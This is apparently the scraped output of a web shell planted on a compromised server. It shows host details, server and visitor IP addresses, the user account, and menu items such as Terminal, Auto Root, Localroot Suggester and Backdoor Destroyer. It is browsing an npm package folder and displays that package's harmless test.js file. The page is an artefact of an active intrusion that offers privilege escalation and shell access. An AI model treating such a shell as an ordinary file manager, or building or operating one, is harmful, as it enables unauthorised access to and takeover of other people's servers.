Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.133.128.223
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
node_modules /
require-main-filename /
Delete
Unzip
Name
Size
Permission
Date
Action
.npmignore
35
B
-rw-rw-r--
2022-08-30 11:49
.travis.yml
84
B
-rw-rw-r--
2022-08-30 11:49
LICENSE.txt
731
B
-rw-rw-r--
2022-08-30 11:49
README.md
1.04
KB
-rw-rw-r--
2022-08-30 11:49
index.js
427
B
-rw-rw-r--
2022-08-30 11:49
package.json
750
B
-rw-rw-r--
2022-08-30 11:49
test.js
1.03
KB
-rw-rw-r--
2022-08-30 11:49
Save
Rename
/* global describe, it */ var requireMainFilename = require('./') require('tap').mochaGlobals() require('chai').should() describe('require-main-filename', function () { it('returns require.main.filename in normal circumstances', function () { requireMainFilename().should.match(/test\.js/) }) it('should use children[0].filename when running on iisnode', function () { var main = { filename: 'D:\\Program Files (x86)\\iisnode\\interceptor.js', children: [ {filename: 'D:\\home\\site\\wwwroot\\server.js'} ] } requireMainFilename({ main: main }).should.match(/server\.js/) }) it('should not use children[0] if no children exist', function () { var main = { filename: 'D:\\Program Files (x86)\\iisnode\\interceptor.js', children: [] } requireMainFilename({ main: main }).should.match(/interceptor\.js/) }) it('should default to process.cwd() if require.main is undefined', function () { requireMainFilename({}).should.match(/require-main-filename/) }) })